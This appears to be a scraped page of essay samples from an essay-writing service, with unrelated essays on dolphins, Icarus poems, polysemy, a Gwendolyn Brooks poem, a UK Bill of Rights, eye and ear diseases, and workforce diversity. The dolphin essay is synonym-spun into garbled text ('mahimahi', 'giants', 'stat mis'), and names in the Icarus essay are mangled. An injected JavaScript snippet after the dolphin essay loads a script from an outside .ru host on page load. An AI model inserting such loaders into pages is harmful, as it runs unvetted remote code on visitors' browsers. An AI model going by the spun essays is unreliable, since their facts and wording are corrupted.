Dolphins Essay Research Paper DolphinsDolphins are mammals free essay sample

Dolphinfishs Essay, Research Paper Dolphinfishs Dolphinfishs are mammals closely related to giants and porpoises. Dolphinfishs hold a powerful and streamlined organic structure. They are found in all seas and oceans. Dolphinfishs can be told apart from porpoises by their olfactory organ, which is beaklike, and besides their conelike dentitions. Porpoises have a flatter olfactory organ, sharper dentition, and a more solid organic structure. There are 32 known species of mahimahis. The bottle-nosed mahimahi is frequently the species used in aquatic shows. The common mahimahi inspired many Mediterranean common people traditional knowledges. Both of the mahimahis above appear in unfastened Waterss, normally around sail ships. They like to demo off around the boat. There are besides freshwater mahimahis that live in rivers of Asia and South America. The Buffeo mahimahi has been spotted up to 1250 stat mis up he Amazon River. The buffeo is the smallest of all mahimahis averaging about 4 pess. The bottle-nosed dolphin is closer to 10 pess. We will write a custom essay sample on Dolphins Essay Research Paper DolphinsDolphins are mammals or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page The slayer giant, which is besides considered a mahimahi, can turn to be 30 pess long. The pilot giant is besides considered a mahimahi. Dolphinfishs were one time hunted by commercial boats for the little sum of oil that can be extracted from their organic structure. This oil is used to lubricate little parts in tickers. Cheaper oils have been found, so mahimahis are non hunted for this ground any longer. Dolphinfishs can be caught in tuna cyberspaces by accident. Since mahimahis have to breath at the surface they drown in tuna cyberspaces. It is estimated that 4.8 million mahimahis were killed in tuna cyberspaces from 1959 to 1972. Under force per unit area from carnal rights militants tuna consumers will non accept tuna from canners that do non protect mahimahis. Animal rights militants besides believe that mahimahis shouldn # 8217 ; t be in imprisonment for usage in aquatic shows. Dolphinfishs eat a batch of nutrient in a twenty-four hours, normally about one tierce of their organic structure weight. A dolphin # 8217 ; s diet consists of largely fish and calamari. Dolphinfishs can swim really fast, so they are able to easy catch their nutrient. The mahimahi has 200 to 250 crisp dentitions. Dolphinfishs follow schools of fish in groups. The Pacific white-sided species is estimated to go in groups with 10s of 1000s of members, while on the other manus bottle-nosed dolphin mahimahis travel in groups that contain merely a few members. Dolphin, like giants, breathe through a blowhole in the top of their caput. While going mahimahis break the surface one time every two proceedingss. When mahimahis exhale H2O is sometimes thrown from the blowhole. After expiring the mahimahis inhale and disappear into the ocean. A dolphins lungs are adapted to defy the physical jobs that are caused by speedy alterations in force per unit area. With this version dolphins can plunge up to 1000 pess with no job. / gt ; A mahimahis tail is, like all other aquatic mammals, moves in an up and down gesture. Dolphins dual fluke their narrative to travel frontward. Their fins are used to stabilise the mahimahi as they swim. A mahimahi is really streamlined and can average a velocity of up to 19 stat mis per hr with explosions of over 25 stat mis per hr. At these velocities, mahimahis can cover great distances in a twenty-four hours. The best studied species of mahimahis are the bottle-nosed. Bottle-nosed mahimahis reach sexual adulthood at the ages of 5 to 12 old ages in females and 9 to 13 old ages in males. Dolphinfishs mate in the spring. The mahimahis carry the babe, which is called a calf, for 11 to 12 months. At this clip a individual calf is born, coming out tail foremost. Calfs can swim and take a breath proceedingss after birth. A calf will nurse for up to 18 months. Calfs can maintain up with their female parent by staying close and taking advantage of it # 8217 ; s female parents aerodynamic swimming. Dolphins about ever emit either snaping sounds or whistlings. The chinks are short pulsations of about 300 sounds per second, which come from a mechanism located merely below a mahimahi # 8217 ; s blowhole. These chinks are used to locate objects around a mahimahi. When the sound of a click bouncinesss off of an object and back to the mahimahi, the dolphin uses that information to travel without hitting anything. This clicking system is similar to a chiropterans radio detection and ranging system. The whistlings are single-toned squeals that come from deep in the voice box. These whistlings are used to pass on dismay, sexual exhilaration, and possibly other emotions. Because of mahimahis ability to larn and execute complex fast ones in imprisonment, their uninterrupted communicating with one another, and their ability, with preparation, to understand a few human words, some scientists think that mahimahis could larn a linguistic communication to pass on with worlds. Most experts agree that even though a mahimahis problem-solving ability is close to that of a archpriest, no grounds has been shown that mahimahis communicating accomplishments even come near to the complexness of a true linguistic communication. All dolphins belong to the order of Cetacea. The bottle-nosed mahimahi is scientifically classified as Tursiops truncatus. The common mahimahi is classified as Delphinus Delphi, and the buffeo mahimahi is classified as Sotalia fluviatilis. The slayer giant is classified as Orcinus killer whale and the white-sided mahimahi is classified as Lagenorhynchus obliquidens. The Dolphinfishs are besides a football squad located in Miami. They normally drama good in the regular season, but when playoff clip axial rotations around the squad falls apart. I do non like the Dolphins and I wish that they would retreat from the National Football League. The End! ! ! ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

The Many Poetic Twists of Icarus as portrayed in Edward Essay Example For Students

The Many Poetic Twists of Icarus as portrayed in Edward Essay His wings fall apart and he plummets to the sea and drowns. The myth of Cirrus appears to be fairly straight forward, and yet three poets write poems expressing three different perspectives using specific techniques. The three poets and their poems are Edward Fields Cirrus, William Carols Williams Landscape with the Fall of Cirrus, and Muriel Rustlers Waiting for Cirrus. In Fields poem, he chooses to change the ending and decry the impact of modern society upon individuals (Roberts 928). In his poem, Cirrus does not drown, he had swum away coming at last to the city where he rented a house and tended the garden (Field 8 and 9). This is a very common existence for a man who had once soared so high. This poem is about the expectations people have and the reality they get. Cirrus is a hero who goes on living long after the moment of glory, and is puzzled, bored, and unhappy with the drabness of the uneventful life that he now leads (Roberts 354). No one has any idea who Cirrus is, or of the great act he once reformed. The witnesses did not care, Field writes, they ran off to a gang war (5). His neighbors are all too busy with their own lives to care about who Cirrus really is. Edwards is implying that life simply goes on. Cirrus, having achieved a moment of greatness, has been living a dull and normal life and wishes he had drowned (Field 30). The point that life goes on is something that Fields poem has in common with Williams. Williams also expresses that life goes on, but he uses Broughams painting to do it. Williams is able to recreate the painting in verbal images (Roberts 357). Through his verbal images he describes a farmer was polluting his field and says insignificantly off the coast there was a splash quite unnoticed (Williams 4, 19 and 20). The fact that the farmer does not notice the splash of Cirrus is Williams way of showing that, no matter what occurs, life simply goes on. Unlike Field, Williams does not use any punctuation. The lack of punctuation is to indicate an absence of expressive inflection, which further proves the insignificance of Cirrus fall to the society around him (Cole 151). Ruckuses puts a completely different spin on the myth. She shows that even though life goes on, the decisions that people make do affect those around them. She does this by writing from the point of view of girlfriend (Roberts 354). Like Williams, Ruckuses uses the lack punctuation as a tool in her poem. She only uses punctuation in the last stanza. The lack of punctuation and the methodical repetition of phrases like he said and l remember are used to show how women end to babble on and on (Roberts 355 and Ruckuses 1 and 12). Perhaps that is why Ruckuses writes about her friends saying he only wanted to get away from her (15). This poem is more about the fall of a romance, while the first two are about the insignificant fall off hero. Greek mythology is one medium, where people typically come to their own conclusions. The three poets discussed above are not different in that respect. They have taken the same myth and interjected their own ideas and techniques to create different angles, in which to express themselves.

Integral Theory of Polysemy Essay Example

Integral Theory of Polysemy Essay Integral Theory of Polysemy is agued which represents the most general view on the problem of polysemy. The notion of polysemy is essentially extended and is applied to both lexical and grammatical language levels. It is argued that polysemy regulates and systematizes both vocabulary and grammar and may be considered as a factor which is organizing the language system. Keywords: polysemy, homonymy , lexical seme, part-of-speech seme, lexical and lexical-grammatical polysemy. The definitions of polysemy existing in linguistic literature are practically identical a word is considered to be polysemantic if it has several meanings that are semantically related to each other. Such definitions reveal the very essence of polysemy coexistence in the semantic structure of a word of several meanings which relations with each other are those of semantic derivation. The existence of polysemy is due to the law of asymmetric duality of a language sign, opened by S. Kartsevsky, according to which the signified and the signifier are asymmetric and exist in the state of unsteady equilibrium. The signified aspires to be expressed by new means while the signifier tries to attain new functions. As far as the law of asymmetric duality of a language sign is universal, the universal character of polysemy should be considered obvious. The idea about the universal character of this linguistic phenomenon was stressed more than once (see the works of such prominent scholars as S. Ullmann, R. Budagov, A. We will write a custom essay sample on Integral Theory of Polysemy specifically for you for only $16.38 $13.9/page Order now We will write a custom essay sample on Integral Theory of Polysemy specifically for you FOR ONLY $16.38 $13.9/page Hire Writer We will write a custom essay sample on Integral Theory of Polysemy specifically for you FOR ONLY $16.38 $13.9/page Hire Writer Smirnitsky, V. Vinogradov). Polysemy is justly considered to be a necessary means of language economy. As S. Ullmann puts it, â€Å"polysemy is an indispensable resource of language economy. It would be altogether impracticable to have separate terms for every referent† (Ullmann 1959, p. 118). It should be mentioned that the idea of polysemy as a means of language economy goes back to Aristotle who stressed that the number of words in a natural language is limited while the number of objects in the real world is unlimited. Thus it is inevitable for a word to be polysemantic. Speaking about the reasons of polysemy we should also point out that this phenomenon is closely connected with the very essence of the language and is a characteristic feature of speech. As S. Ullmann wrote, â€Å"The ability of the name to denote several senses is one of the basic peculiarities of human speech† (Ullmann 1951, p. 48). The problem of studying polysemy is closely connected with that of homonymy. It should be pointed out that the definitions of homonymy, like those of polysemy, do not differ greatly. Words are considered to be homonymous if their form is identical while the meanings are not semantically related. Some scholars, however, insist that homonyms may be characterized not only by the absence of semantic derivation between their meanings, but also by differences in their grammatical (part-of-speech) meaning (see Malakhovsky 1989, p. 7–8). Thus all cases of conversion or any other transitions at the part-of-speech level despite the obvious fact of close semantic relations of the meanings are considered to be homonyms. Such point of view, though advocated by quite a number of linguists, may be disputed. The very fact of acquiring by a sememe a new part-of-speech seme can not necessarily lead to homonymy. The main (and the only! ) indication of homonymy is that of absence of semantic relations between the meanings, like the main indication of polysemy is the fact of existence of semantic derivation. The problem of differentiation between polysemy and homonymy has become traditional. The criteria of such differentiation are rather numerous. The most appropriate to our mind is the so-called semantic criterion, based on semantic derivation of the meanings of a polysemantic word. In case of semantic relations of the meanings we deal with polysemy, in case of absence of such relations with homonymy. Other criteria of differentiation between polysemy and homonymy (word-building, syntactic, distributional, synonymous and antonymous) are not universal and may be considered additional, serving to confirm the results of the application of the semantic criterion. As far as semantic criterion is concerned, it is universal and may be applied to all cases when it is necessary to establish the difference between polysemy and homonymy. It should be mentioned that this criterion follows from the very essence of the language phenomena under consideration. As the definitions of polysemy and homonymy adopted in modern linguistics are of semantic character, it is quite obvious that the criterion of their differentiation should be also based on semantic principles. Strictly speaking, there is even no need in singling out the special criterion of differentiation between polysemy and homonymy. As Yu. Apresyan rightly puts it, any search of criteria for differentiation of linguistic objects (a word, a sentence, a homonym, an idiom, etc. more vividly than anything else designates that there are no strict definitions of the corresponding linguistic phenomena. If such strict definitions existed there would be no need in finding any additional (those not used in the definitions themselves) â€Å"criteria† for their differentiation. In case of absence of strict definitions no additional criteria would save the situation ( Apresyan 1974, p. 184). We have already stated that the definitions of both polysemy and homonymy are of semantic character. Consistent application of these definitions to each concrete case of material identity of lexemes will answer the question whether the word identity is preserved or torn. The above-mentioned will hold if applied to all cases of polysemy â€Å"ordinary† lexical and lexical-grammatical polysemy. The terms â€Å"lexical-grammatical polysemy† or â€Å"categorical polysemy† were introduced not long ago. The first of these terms was used by prof. V. Abaev in his famous paper on homonyms which started the discussion on homonymy in the Soviet Union (Abaev 1957, p. 43). The second one was introduced by S. Katsnelson (Katsnelson 1972, p. 173-174). Both of the authors use these terms to denote practically the same polysemy at the part-of-speech level. To denote such kind of polysemy we would prefer to use the first of the above-mentioned terms â€Å"lexical-grammatical polysemy† as it better reflects the essence of the phenomenon under consideration polysemy at the part-of-speech level, i. e. at the level of lexical- grammatical classes. As for the term â€Å"categorical polysemy† it doesn’t make accent on the part-of-speech character of this kind of polysemy and thus is considered to be less convenient. Besides, as it will be shown below, S. Katsnelson applies this term not to all cases of polysemy at the part-of-speech level, but only to a special type of such polysemy. Lexical-grammatical polysemy may be illustrated at the example of the substantive and verbal sememes of the lexeme measure in a great measure (substantive sememe) and to measure one’s desires by one’s means (verbal sememe). The semantic ties between these sememes are obvious which makes it possible to admit the fact of existence here of a particular type of polysemy lexical-grammatical polysemy. Inclusion of sememes with different part-of-speech semes into the semantic structure of one and the same word is due in this case, as in case of ordinary lexical polysemy, to semantic ties between the sememes, i. e. to semantic derivation. It should be noted, that the phenomenon which we define as lexical-grammatical polysemy was studied by many linguists. However, most of these investigations were not connected with the problem of polysemy and didn’t even try to examine the phenomenon under consideration from this the point of view. There prevails structurally morphological approach to the phenomenon and it is considered mainly within the theory of parts of speech. This can be vividly illustrated by the terminology used by linguists: part of speech transition, transformation, lexical-grammatical substitution, functional shift, syntactic derivation, polyfunctionality,polycategorisation, conversion. Some authors use the terms substantivation,adverbialisation, adjectivation, prepositionalisation, etc. to designate transition into a concrete part of speech. Despite a great variety of points of view on this phenomenon, the essence of all of them is practically the same they all declare its word-formation character and admit that the lexemes got as the result of it are homonyms (grammatical, lexical-grammatical, morphological, functional, transpositional, etc. ). It should be noted that the treatment of part of speech transition as a special kind of homonymy or a word-formation process is debatable. The thing is that semantic relations between sememes with different part-of-speech semes are usually preserved, that’s why we can’t speak about homonymy. This phenomenon can’t be treated as a word-formation process either, as in many cases changing of part-of-speech status is not followed by any lexico-semantic changes which are usually supposed by the word-formation process. One can assume that in case of a unit functioning as different parts of speech we deal not with homonyms and not with word-formation, but with a special type of polysemy the polysemy at the part-of-speech level or lexical-grammatical polysemy. It should be noted that the possibility of such type of polysemy was mentioned by many Russian and foreign linguists. Thus academician Shcherba wrote that formal features of grammatical categories are not reduced to purely morphological ones, so one and the same word may represent different categories (Shcherba 1974, p. 81). V. Nikitevich writes that in case of semantic identity transposition doesn’t form a new lexeme (Nikitevich 1971, p. 107). E. Kovalevskaya speaks about a possibility for a word to function as two parts of speech (Kovalevskaya 1977, p. 59). N. Gvishiani admits the ability of English words to be correlated with categorical meaning of different parts of speech (Gvishiani 1979, p. 75). I. Tyshler points that words produced by means of conversion are not lexical-grammatical homonyms as in this case there is no semantic gap between them (Tyshler 1966, p. 3–4). S. Bogdanov notes that we shouldn’t oppose to each other the lexemes which are materially identical and differ only by syntactic functions (Bogdanov 1998, p. 31). Analogous thoughts are also displayed by some foreign authors. Thus Henry Sweet pointed out that the mere change of a verb into noun can hardly be said to make a new word of it (Sweet 1900, p. 38). A. Kennedy mentions that at times a word becomes a sort of hybrid, simultaneously functioning as two different parts of speech (Kennedy 1935, p. 317). Robert Waddel points out â€Å"that when a word is shifted from one function to another, it retains its own essential meaning: the word water conveys the idea of wetness †¦ whether it is used as a noun or as a verb: He will carry the water (n) in a pail and water (v) the bush. The difference is in the grammatical or functional meaning, the part played in the sentence pattern. Or, we may say, water is here used as two different parts of speech† (Waddel 1951, p. 1). However practically all these authors, both Russian and foreign, actually describing the phenomenon of lexical-grammatical polysemy, do not consider it within the framework of the theory of polysemy and do not study the correlation between lexical and lexical-grammatical polysemy. Due to this the notion of lexical-grammatical polysemy remains theoretically undefined which negatively influences both the development of the theory of polysemy and practical interpretation of the concrete cases of polyfunctional lexemes. The term â€Å"polysemy† with reference to this phenomenon, besides V. Abaev and S. Katsnelson, is used by S. Ullmann and G. Vorontsova. Thus, S. Ullmann calls conversion syntactic polysemy (Ullmann 1962, c. 32). G. Vorontsova states, that polyfunctionality represents a special kind of grammatical polysemy (Vorontsova 1960, p. 50). Indeed in case of semantic relations between the sememes of a lexeme regardless of the fact whether they belong to one and the same or different parts of speech we should speak about polysemy. This is a special kind of polysemy lexical-grammatical one. It must be mentioned that such point of view does not contradict the parts of speech theory and does not doubt the existence of parts of speech as lexical-grammatical classes of words. Parts of speech can be represented as intersecting circles, some areas of which overlap. Words demonstrating lexical-grammatical polysemy will be situated in the intersecting parts of these circles. Sememes possessing different part-of-speech semes have as a rule different orphological indication. But we should point out that these morphological indicators of lexical-grammatical meaning are only formalsigns of parts of speech. They just confirm functioning of the word in a new lexical-grammatical meaning but not determine it. The main criterion of ascribing the word to this or that part of speech is the semantic one, i. e. presence of a certain part-of-speech seme. Morphological indicators of part-of-speech status are additional, secondary, supplementary. We should also mention that lexical-grammatical polysemy does not doubt the question of the word borders. As it is known, the main conditions for preservation of the word identity are those of the common sound form and semantic ties between the sememes. In case of lexical-grammatical polysemy both criteria are observed as the very notion of polysemy presupposes both the existence of one lexeme and semantic derivation of its sememes. The problem of lexical-grammatical polysemy is closely connected with that of lexical-grammatical variation. If within the frames of lexical-grammatical polysemy proper sememes being semantically related to each other differ in both lexical meaning and lexical-grammatical semes, in case of lexical-grammatical variants sememes have the same lexical meaning but different part-of-speech semes. Compare: 1) He went up. 2) He went up the stairs. In both cases one and the same lexical meaning â€Å"upwards† is realized. This lexical meaning presupposes indication of a certain centre of spatial coordination relative to which location or direction is determined. This centre of coordination may be expressed in the sentence explicitly or may be left implicit. In case of explicit expression of the centre of coordination the prepositional variant of the lexical meaning is realized (see example 2), in case there is no indication of this centre of coordination in the sentence, the same lexical meaning is realized, but in its adverbial variant (see example 1). The phenomenon of lexical-grammatical variation in this case may be illustrated by the following scheme: Lexical meaningPart – of – speech semes upwardsadverbial prepositional As it can be seen from the scheme, in case of lexical-grammatical variation one and the same lexical meaning corresponds to two (or more) different part-of-speech semes. These part-of-speech semes are in complementary distribution and are realized in different contexts. In case of lexical-grammatical polysemy proper each lexical meaning corresponds to a separate part-of-speech seme. The correlation of lexical and grammatical semes in case of polysemy at the part-of-speech level thus has a double character: in case of lexical-grammatical polysemy proper a separate lexical meaning corresponds to a definite lexical-grammatical seme, in case of lexical-grammatical variants one lexical meaning corresponds to two or more different part-of-speech semes. Realization of this or that lexical-grammatical seme in this case depends on the context. It should be noted that S. Katsnelson, defining what he calls categorical polysemy, in reality defines the phenomenon of lexical-grammatical variation (Katsnelson 1972, p. 73–174). Such simplified understanding of polysemy at the part-of-speech level doesn’t seem quite appropriate. Lexical-grammatical variation certainly represents derivation at the part-of-speech level, but it should be considered a special, simpler case of lexical-grammatical polysemy proper while lexical-grammatical polysemy proper demands both le xical and part-of-speech derivation, lexical-grammatical variation presupposes only part-of-speech derivation, lexical meaning of lexical-grammatical variants is identical. The reason of considering sememes with different part-of-speech semes belonging to one and the same lexeme in case of lexical-grammatical variation is the identity of lexical meanings, in case of lexical-grammatical polysemy their semantic derivation. Thus we can speak about two types of lexical-grammatical polysemy lexical-grammatical polysemy proper and lexical-grammatical variation, the latter being a special, simpler case of lexical-grammatical polysemy as it presupposes only part-of-speech derivation without the semantic one. Taking into consideration the above-mentioned we may expand the notion of polysemy and propose its hierarchical description. As we have just stated, lexical-grammatical variation is a special, simpler case of lexical-grammatical polysemy. If in case of lexical-grammatical polysemy proper the sememes, being semantically derived from each other, differ in both lexical-grammatical and lexical semes, in case of lexical-grammatical variation lexical semes are the same and the sememes differ only in their lexical-grammatical semes. Thus in case of lexical-grammatical polysemy proper both possible types of polysemy lexical and lexical-grammatical are realized, while in case of lexical-grammatical variation we witness realization of only one type of polysemy lexical-grammatical one. Analogous phenomenon may be observed if we compare lexical-grammatical polysemy with the â€Å"ordinary† lexical one. While the sememes demonstrating lexical-grammatical polysemy differ in both lexical and lexical-grammatical semes, in case of lexical olysemy the sememes differ only in lexical semes, their lexical-grammatical meaning is identical. Thus lexical polysemy, like lexical-grammatical variation realizes only one type of polysemy out of the two possible. The comparison of lexical, lexical-grammatical polysemy and lexical-grammatical variation makes it possible to propose the two-level hierarchical description of polysemy. Lexical-grammatical variation together with lexical polysemy, each of which realizes only one type of polysemy out of the two possible, will constitute the lower level in this hierarchy while lexical-grammatical polysemy realizing both possible types of derivation lexical and lexical-grammatical will form its upper level. Schematically it may be illustrated as follows: Lexical-grammatical polysemy (presupposes both lexical and lexical-grammatical derivation) As it is seen from the scheme, lexical-grammatical polysemy may actually be considered to be the highest level of polysemy while lexical polysemy and lexical-grammatical variation constitute its lower level. Two-level hierarchical description of polysemy allows us to raise the question of creation of Integral Theory of Polysemy encompassing all levels and all cases of polysemy. Polysemy according to this theory should be considered as a factor regulating not only lexical-semantic, but also lexical-grammatical language system as it systemizes words not only according to their individual meanings, but according to lexical-grammatical classes as well. It should be mentioned that all previous studies of polysemy were one-sided and incomplete as they were devoted to only one type of polysemy lexical one. Meanwhile as our research showed there exist two more types of polysemy lexical-grammatical polysemy and lexical-grammatical variation. The Integral Theory of Polysemy proposed by us encompasses both levels of polysemy and all its types lexical polysemy, lexical-grammatical polysemy and lexical-grammatical variation. Lexical-grammatical variation presupposing derivation at the part-of-speech level and identity of the set of lexical semes together with lexical polysemy presupposing lexical derivation and identity of the part-of-speech semes constitute the lower level of polysemy while lexical-grammatical polysemy demonstrating both lexical and lexical-grammatical derivation form its upper, higher level. Lexical-grammatical polysemy presupposing derivation at both lexical and lexical-grammatical levels integrates, unites in itself both lexical polysemy and lexical-grammatical variation, hence the very name of the theory of polysemy integral. As for lexical polysemy and lexical-grammatical variation, both of them may be considered to be special cases of lexical-grammatical polysemy as each of them realizes only one of the two possible types of derivation (lexical polysemy demonstrates derivation only at lexical level while lexical-grammatical variation demonstrates derivation only at the part-of-speech, i. e. grammatical level). The mechanism of derivation in all kinds of polysemy is identical in each case one or two of the semes are replaced: a lexical seme is replaced in case of lexical polysemy, a part-of-speech seme is replaced in case of lexico-grammatical variation, both lexical and part-of-speech semes are replaced in case of lexico-grammatical polysemy proper. Thus there is a common mechanism of polysemy which is realized both at the level of a lexeme and the level of word classes. The reasons of all kinds of polysemy mentioned are also common and are due to the asymmetric duality of a language sign and the language tendency to economy. The undoubted commonness of these three types of polysemy allows us to unite them within the frames of one theory the Integral Theory of Polysemy which represents the most general view on the problem of polysemy. The notion of polysemy in this theory is essentially extended and is applied to both lexical and grammatical language levels. Polysemy regulates and systematizes both vocabulary and grammar and may be considered as a certain core organizing the language system.

Free Essays on Literary Techniques In “We Real Cool“

emphasizes the feeling of unity among them. For example, when â€Å"Left school. We† (2) is read, the word â€Å"we† stands out, and the pool players’ togetherness is understood. When the last line â€Å"Die soon† stands alone, the reader senses that each pool player is alone once he or she dies. Because of Gwendolyn’s use of these literary techniques, readers understand the theme of her poem: Even though following the carefree crowd appears seems to be the right path, it usually ends in a meaningless and lonely life.... Free Essays on Literary Techniques In â€Å"We Real Coolâ€Å" Free Essays on Literary Techniques In â€Å"We Real Coolâ€Å" Literary Techniques in â€Å"We Real Cool† Gwendolyn Brooks uses literary techniques such as dialect, ironic point of view, and syntax to accentuate the theme and persona in â€Å"We Real Cool.† The speaker, or persona, in â€Å"We Real Cool† has a black dialect. This dialect is used to characterize the group of pool players at the Golden Shovel. In the phrase â€Å"We real cool,† (1) the verb is omitted, which accentuates the pool players’ lack of education. The pool players’ view of themselves and their actions differs from that of Gwendolyn Brooks. This ironic point of view is used to convey that although the pool players believe they are living it up, their lives are actually going nowhere. If Gwendolyn Brooks felt the same way as they do, their lives would appear more glorious to the reader. In the poem, syntax is used to further depict the attitude of the pool players. The abnormal ordering of the words emphasizes the feeling of unity among them. For example, when â€Å"Left school. We† (2) is read, the word â€Å"we† stands out, and the pool players’ togetherness is understood. When the last line â€Å"Die soon† stands alone, the reader senses that each pool player is alone once he or she dies. Because of Gwendolyn’s use of these literary techniques, readers understand the theme of her poem: Even though following the carefree crowd appears seems to be the right path, it usually ends in a meaningless and lonely life....

Bill of Rights for the United Kingdom

Bill of Rights for the United Kingdom Disclaimer: This work has been submitted by a student. This is not an example of the work produced by our Law Essay Writing Service . You can view samples of our professional work here . Bill of Rights for the United Kingdom Over the years, there has been an ongoing debate over whether there should be a Bill of Rights for the United Kingdom (UK). The Government is committed to considering the need for a Bill of Rights and other political parties have expressed interest in developing one. Parliament’s Joint Committee on Human Rights (JCHR) has demonstrated in its report that there are many groups in society, such as older people and adults with learning disabilities, whose human rights are insufficiently protected. They argue that UK Bill of Rights and Freedoms (BRF) is desirable in order to provide necessary protection to all, particularly to the marginalized and vulnerable people. This essay will discuss on the two main issues considered by the Committee, namely the judicial review (JR) and entrenchment, in reference to some legal and political theories outlines as structured below. Arguments in favour of JR/ entrenchment As mentioned in the report of JCHR , the adopting of the BRF sets out a shared vision of a desirable future society: it is aspirational in nature as well as protecting those human rights which already exist. JCHR suggests that a BRF should give lasting effect to values shared by the people of the UK by including liberty, democracy, fairness, civic duty, and the rule of law. In considering JCHR’s proposal, it is pivotal to gain a simplistic appreciation of Ronald Dworkin’s democracy theory to illustrate the arguments in favour of JR and entrenchment. Dworkin has been a firm defender of JR of constitutional rights in the United States. Dworkin believes that government should be bound to certain rights by the very authority that structures and empowers governmental procedures, and this commitment should be enforced by the courts. He says that a constitution principle enforced by independent judges is not undemocratic and there is no trade-off between rights and democracy. Democracy does not insist on judge s having the last word, but democracy also does not insist that the judges must not have the last word. He suggests that in order to provide a democratic justification for the judges’ prevailing, one has to show not only that they have democratic credentials but that they have better democratic claim than that asserted in the legislative action in question. Further, Dworkin alleges that democratic constitutional theory ought to be oriented primarily to results. In every society there will be questions whether enacted legislation conflicts with the fundamental principles of democracy. These questions should be assigned to whatever institution which is likely to answer them correctly. In some countries, such as UK, this may be the legislature but often there is reason to think that the legislature is not the safest vehicle for protecting the rights associated with democracy. In that case, we should assign the issue to the courts, if we think they are a safer bet. Dworkin says w e should not be deterred by the fact that courts are not constituted in a way that makes them democratically accountable. Accountability does not matter, all a partisan of democracy should be concerned is that courts are reliable in making good decisions about democracy. Dworkin seems to be suggesting that if a political decision is about democracy or the rights associated with democracy; then all that matters is that the decision must be right, from a democratic point of view.

Diseases and Disorders of the ear and eye Assignment

Diseases and Disorders of the ear and eye - Assignment Example The paper gives correct and brief answers that help you to learn the material or to prepare for the exam. Describe the three separate parts of the ear. Answer: The three separate parts of the ear are external ear, middle ear and inner ear. The external ear comprises of the auricle, the auditory canal and the drumhead. The middle ear is made up of the ear tube, the mastoid and its ear cells. The inner ear comprises of the bony labyrinth and the membranous labyrinth. The external ear is mainly involved in receiving sound impulses and transmitting it forward. The middle ear is also a conduction system. Differentiate between the two primary types of glaucoma. Answer. The two primary types of glaucoma include open angle glaucoma and angle closure glaucoma. A high intraocular pressure is characteristic of both the types. Open angle glaucoma has a greater frequency of occurrence and it is characterized by a gradual blockage of the drainage of the eye. The angle of the iris and cornea is open and not very narrow and thus it presents chronically. Angle closure glaucoma on the other hand is acute because of the narrowing of the angle that exists between the iris and the cornea. Name the etiologic factors of macular degeneration. Answer: Macular degeneration is mainly an age related pathology which results in complete loss of vision in developed nations. Although no definite causes for the condition have been identified but smoking of cigarettes, raised blood pressure and genetics are known to play a role.

Workforce diversity and HR Coursework Example | Topics and Well Written Essays - 1250 words

Workforce diversity and HR - Coursework Example An overview of LOCOG indicates that it is a temporary organization established in 2005 for the ultimate aim of delivering the most challenging international project to the standards required by the International Olympic Committee through the defined time frame culminating on the 27th of July, 2012. Due to the disclosed need to live up to the worldwide expectations associated with the global brand of the Olympics, as host organization, LOCOG is expected to present a compendium detailing the importance of managing workforce diversity. Likewise, as HR Manager of LOCOG, one is tasked with presenting ways by which HR can significantly contribute towards the organization’s broader objective of diversity. Therefore, the current discourse used three specifically identified articles written by Shen, Chanda, D’Netto, and Monga (2009); McCuiston, Wooldrige, and Pierce (2004); as well as Mannix and Neale (2005) to present the crucial information supporting the need to manage divers ity at LOCOG and to identify specific means by which HR can contribute towards the organization’s broader objective of adhering and complying with maintaining a diversified workforce. The compendium would initially present a brief definition of terms, specifically on ‘diversity† as seen from various authors’ perspectives. Then, the importance of workforce diversity would be expounded; prior to delving into HR’s contribution to LOCOG’s diversity goals. Definition of Terms To ensure that LOCOG’s management would be accurately informed on the crucial concepts, theories and applications on workforce diversity, it is pertinent that a definition of the term ‘diversity’ be presented and expounded. According to Mannix and Neale (2005), the authors agreed on using the definition cited by Williams and O’Reilly (1998), to wit: â€Å"any attribute that another person may use to detect individual differences’’ (p. 81). On the other hand, Shen, Chanda, D’Netto and Monga (2009) emphasized clearly that â€Å"workforce diversity acknowledges the reality that people differ in many ways, visible or invisible, mainly age, gender, marital status, social status, disability, sexual orientation, religion, personality, ethnicity and culture (Kossek, Lobel and Brown 2005)† (p. 235). Diversity therefore manifests and accepts disparities in cultural orientation seen to be a crucial factor in the successful performance of various contemporary organizations. In the situation of LOCOG, since the organization would be directly and closely involved in interacting and governing peoples all over the world, it is imperative that managing diversity within their workforce would embody the organization’s ideals and philosophies and form an integral part of their value system. Importance of Workforce Diversity The importance in managing workforce diversity has been greatly illumined by Shen, et.al. (2009) as it focuses not so much on â€Å"accepting that individuals are different but creating an atmosphere of inclusion and making a commitment to valuing diversity† (p. 236). From a review of related literature, Shen, et.al. (2009) cited the following benefits and advantages of supporting a diverse workforce, as summarized below: Provides opportunities of improving the quality of decision making through innovative ideas and offering superior solutions to problems (Australian Centre for International Business (ACIB), 2000; Mannix and Neale 2005). Provides a â€Å"better-quality solution to brainstorming tasks, displays more cooperative behavior, relative to homogenous groups, and can raise organizational efficiency, effectiveness and profitability†